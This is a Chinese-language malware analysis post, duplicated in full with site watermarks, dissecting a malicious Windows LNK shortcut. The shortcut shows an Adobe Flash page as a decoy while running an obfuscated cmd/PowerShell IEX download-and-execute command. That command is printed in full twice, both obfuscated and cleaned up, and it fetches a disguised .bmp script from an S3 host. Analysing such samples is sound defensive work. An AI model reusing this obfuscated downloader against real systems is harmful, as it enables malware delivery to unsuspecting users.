Windows LNK文件攻击方法分析
一、前言
最近,我的一个朋友分享了一个有趣的恶意样本,它是一个微软快捷方式文件(LNK文件),在用户点击执行后导致感染。此前,我并不了解这种类型的攻击媒介,但在搜索引擎上进行了简单的查询之后,我发现自2017年以来,这种类型的攻击就有所增加,我感觉很惊讶。在这篇文章中,我们将分析LNK文件恶意软件,并揭示攻击者是如何使用多层混淆来逃避反病毒软件,并最终投放恶意二进制文件的。我们还将对每一层进行反混淆,并了解代码的实际作用。
我们正在分析的文件为:af6df15050dea1a756bb99bb0597d7072c2aee4c。
二、动机
我之所以对这个特定样本感兴趣,是因为这个文件初步看起来是非常的安全,并且从社会工程学的角度来看它是非常具有吸引力的。作为一个快捷方式文件,它在用户看来并不可疑,因为文件并不是EXE。接下来,当用户单击文件时,会弹出一个浏览器窗口,它会打开链接https://get.adobe.com/br/flashplayer/,这就会让用户认为他的系统中缺少一个Flash插件,而这时无法打开和执行该文件的原因,一旦在用户安装了Flash播放器并再次尝试打开文件,并意识到它只是一个垃圾文件时,就为时已晚。
但是,在系统后台实际发生的,是它通过Shell命令执行PowerShell命令,下载下一阶段的PowerShell脚本,该脚本负责对主要恶意可执行文件进行实际下载和安装。它下载的文件是一个BMP文件,乍看上去是一个安全性较高的图像文件,但实际上它是经过伪装的PowerShell文件。
三、什么是LNK文件
LNK是Microsoft Windows用于指向可执行文件或应用程序的快捷方式文件的扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。“LNK”是“Link”的缩写,该文件可以通过更改图标来伪装成合法文档,但在我们所分析的这个恶意样本中却没有这样做。
四、基本分析
下面是该文件常规属性看上去的样子。
仔细看一下“快捷方式”(Shortcut)选项卡,我们能得到更多细节信息,如下所示。
正如我们在目标字段中看到的那样,它指向了带有一些参数的命令提示符可执行文件。这是在执行此LNK文件时运行的命令,但却不是完整的命令。
在“快捷方式” – “目标”中,支持的最大长度仅为260个字符。任何比这更长的内容都不可见。但是,命令行参数的最大长度为4096个字符,因此我们无法在上面的窗口中看到完整的命令。所以,我使用另外一个工具,来提取整个命令。
五、深入研究LNK文件格式
使用LNK文件分析工具,我们可以设法获得整个嵌入式命令,如下所示。
提取LNK文件的属性后,我们得到了其中比较感兴趣的一些字段:
字段:Relative path
值:..\..\..\..\Windows\system32\cmd.exe
字段:Working Directory
值:%SystemRoot%\System32
字段:Arguments
值:/V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&…
c:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/ &&set aZM4j3ZhPLBn9MpuxaO= -win 1 &&set MlyavWfE=ndows&&set jA8Axao1xcZ=iEx&&set WMkgA3uXa1pXx=tRi&&set KNhGmAqHG5=bJe&&set 4kxhaz6bqqKC=LOad&&set rwZCnSC7T=nop&&set jcCvC=NEw&&set ZTVZ=wEbc&&set DABThzRuTT2hYjVOy=nt).dow&&set cwdOsPOdA08SZaXVp1eFR=t NeT.&&set Rb=Ers&&set j4HfRAqYXcRZ3R=hEll&&set Kpl01SsXY5tthb1=.bmp&&set vh7q6Aq0zZVLclPm=\v1.0\&&set 2Mh=pOw&&set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%&&@echo off && %SystemDrive% && cd\ && cd %SystemRoot%\System32 &&echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! –
我们将上述混乱的命令做整理,发现它只是一系列Shell命令,并且使用&&相互连接。整理后的结果如下所示:
set x4OAGWfxlES02z6NnUkK=2whttpr0
set L1U03HmUO6B9IcurCNNlo4=.com
echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/
set aZM4j3ZhPLBn9MpuxaO= -win 1
set MlyavWfE=ndows
set jA8Axao1xcZ=iEx
set WMkgA3uXa1pXx=tRi
set KNhGmAqHG5=bJe
set 4kxhaz6bqqKC=LOad
set rwZCnSC7T=nop
set jcCvC=NEw
set ZTVZ=wEbc
set DABThzRuTT2hYjVOy=nt).dow
set cwdOsPOdA08SZaXVp1eFR=t NeT.
set Rb=Ers
set j4HfRAqYXcRZ3R=hEll
set Kpl01SsXY5tthb1=.bmp
set vh7q6Aq0zZVLclPm=\\v1.0\\
set 2Mh=pOw
set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%
@echo off
%SystemDrive%
cd\\
cd %SystemRoot%\\System32
echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\\Internet Explorer\\iexplore.exe
一、前言
最近,我的一个朋友分享了一个有趣的恶意样本,它是一个微软快捷方式文件(LNK文件),在用户点击执行后导致感染。此前,我并不了解这种类型的攻击媒介,但在搜索引擎上进行了简单的查询之后,我发现自2017年以来,这种类型的攻击就有所增加,我感觉很惊讶。在这篇文章中,我们将分析LNK文件恶意软件,并揭示攻击者是如何使用多层混淆来逃避反病毒软件,并最终投放恶意二进制文件的。我们还将对每一层进行反混淆,并了解代码的实际作用。
我们正在分析的文件为:af6df15050dea1a756bb99bb0597d7072c2aee4c。
二、动机
我之所以对这个特定样本感兴趣,是因为这个文件初步看起来是非常的安全,并且从社会工程学的角度来看它是非常具有吸引力的。作为一个快捷方式文件,它在用户看来并不可疑,因为文件并不是EXE。接下来,当用户单击文件时,会弹出一个浏览器窗口,它会打开链接https://get.adobe.com/br/flashplayer/,这就会让用户认为他的系统中缺少一个Flash插件,而这时无法打开和执行该文件的原因,一旦在用户安装了Flash播放器并再次尝试打开文件,并意识到它只是一个垃圾文件时,就为时已晚。
但是,在系统后台实际发生的,是它通过Shell命令执行PowerShell命令,下载下一阶段的PowerShell脚本,该脚本负责对主要恶意可执行文件进行实际下载和安装。它下载的文件是一个BMP文件,乍看上去是一个安全性较高的图像文件,但实际上它是经过伪装的PowerShell文件。
copyright 无奈人生
三、什么是LNK文件
LNK是Microsoft Windows用于指向可执行文件或应用程序的快捷方式文件的扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。“LNK”是“Link”的缩写,该文件可以通过更改图标来伪装成合法文档,但在我们所分析的这个恶意样本中却没有这样做。
四、基本分析
下面是该文件常规属性看上去的样子。
仔细看一下“快捷方式”(Shortcut)选项卡,我们能得到更多细节信息,如下所示。
正如我们在目标字段中看到的那样,它指向了带有一些参数的命令提示符可执行文件。这是在执行此LNK文件时运行的命令,但却不是完整的命令。
在“快捷方式” – “目标”中,支持的最大长度仅为260个字符。任何比这更长的内容都不可见。但是,命令行参数的最大长度为4096个字符,因此我们无法在上面的窗口中看到完整的命令。所以,我使用另外一个工具,来提取整个命令。 copyright 无奈人生
五、深入研究LNK文件格式
使用LNK文件分析工具,我们可以设法获得整个嵌入式命令,如下所示。
提取LNK文件的属性后,我们得到了其中比较感兴趣的一些字段:
字段:Relative path
值:..\..\..\..\Windows\system32\cmd.exe
字段:Working Directory
值:%SystemRoot%\System32
字段:Arguments
值:/V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&…
c:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/ &&set aZM4j3ZhPLBn9MpuxaO= -win 1 &&set MlyavWfE=ndows&&set jA8Axao1xcZ=iEx&&set WMkgA3uXa1pXx=tRi&&set KNhGmAqHG5=bJe&&set 4kxhaz6bqqKC=LOad&&set rwZCnSC7T=nop&&set jcCvC=NEw&&set ZTVZ=wEbc&&set DABThzRuTT2hYjVOy=nt).dow&&set cwdOsPOdA08SZaXVp1eFR=t NeT.&&set Rb=Ers&&set j4HfRAqYXcRZ3R=hEll&&set Kpl01SsXY5tthb1=.bmp&&set vh7q6Aq0zZVLclPm=\v1.0\&&set 2Mh=pOw&&set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%&&@echo off && %SystemDrive% && cd\ && cd %SystemRoot%\System32 &&echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! – 无奈人生安全网
我们将上述混乱的命令做整理,发现它只是一系列Shell命令,并且使用&&相互连接。整理后的结果如下所示:
set x4OAGWfxlES02z6NnUkK=2whttpr0
set L1U03HmUO6B9IcurCNNlo4=.com
echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/
set aZM4j3ZhPLBn9MpuxaO= -win 1
set MlyavWfE=ndows
set jA8Axao1xcZ=iEx
set WMkgA3uXa1pXx=tRi
set KNhGmAqHG5=bJe
set 4kxhaz6bqqKC=LOad
set rwZCnSC7T=nop
set jcCvC=NEw
set ZTVZ=wEbc
set DABThzRuTT2hYjVOy=nt).dow
set cwdOsPOdA08SZaXVp1eFR=t NeT.
set Rb=Ers
set j4HfRAqYXcRZ3R=hEll
set Kpl01SsXY5tthb1=.bmp
set vh7q6Aq0zZVLclPm=\\v1.0\\
set 2Mh=pOw
set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%
@echo off
%SystemDrive%
cd\\
cd %SystemRoot%\\System32
echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\\Internet Explorer\\iexplore.exe 本文来自无奈人生安全网